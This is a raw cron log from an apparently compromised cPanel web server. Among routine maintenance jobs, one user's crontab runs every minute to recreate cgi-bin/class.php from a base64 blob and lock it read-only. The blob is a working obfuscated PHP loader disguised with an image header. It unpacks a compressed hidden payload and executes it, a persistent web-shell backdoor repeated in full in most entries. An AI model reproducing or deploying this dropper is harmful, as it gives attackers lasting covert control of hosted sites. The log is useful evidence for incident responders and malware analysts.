Sep  7 03:57:01 server CROND[14922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:57:01 server CROND[14924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:57:01 server CROND[14923]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 03:58:01 server CROND[15309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:58:01 server CROND[15310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:58:01 server CROND[15311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:59:01 server CROND[15689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:59:01 server CROND[15690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 03:59:01 server CROND[15691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:00:01 server CROND[16140]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 04:00:01 server CROND[16142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:00:01 server CROND[16150]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 04:00:01 server CROND[16153]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:00:01 server CROND[16155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:00:01 server CROND[16151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:00:01 server CROND[16148]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 04:00:01 server CROND[16156]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 04:00:01 server CROND[16154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:00:01 server CROND[16152]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 04:01:01 server CROND[17052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:01:01 server CROND[17053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:01:01 server CROND[17054]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 04:01:01 server CROND[17055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:01:01 server run-parts(/etc/cron.hourly)[17054]: starting 0anacron
Sep  7 04:01:01 server anacron[17073]: Anacron started on 2026-09-07
Sep  7 04:01:01 server anacron[17073]: Job `cron.daily' locked by another anacron - skipping
Sep  7 04:01:01 server anacron[17073]: Normal exit (0 jobs run)
Sep  7 04:01:01 server run-parts(/etc/cron.hourly)[17075]: finished 0anacron
Sep  7 04:02:01 server CROND[17442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:02:01 server CROND[17444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:02:01 server CROND[17443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:03:02 server CROND[17838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:03:02 server CROND[17837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:03:02 server CROND[17839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:04:01 server CROND[18227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:04:01 server CROND[18229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:04:01 server CROND[18228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:05:01 server CROND[18683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:05:01 server CROND[18684]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 04:05:01 server CROND[18686]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:05:01 server CROND[18688]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 04:05:01 server CROND[18691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:05:01 server CROND[18690]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 04:05:01 server CROND[18689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:05:01 server CROND[18692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:06:01 server CROND[19629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:06:01 server CROND[19630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:06:01 server CROND[19631]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:07:01 server CROND[20008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:07:01 server CROND[20009]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:07:01 server CROND[20010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:08:01 server CROND[20385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:08:01 server CROND[20386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
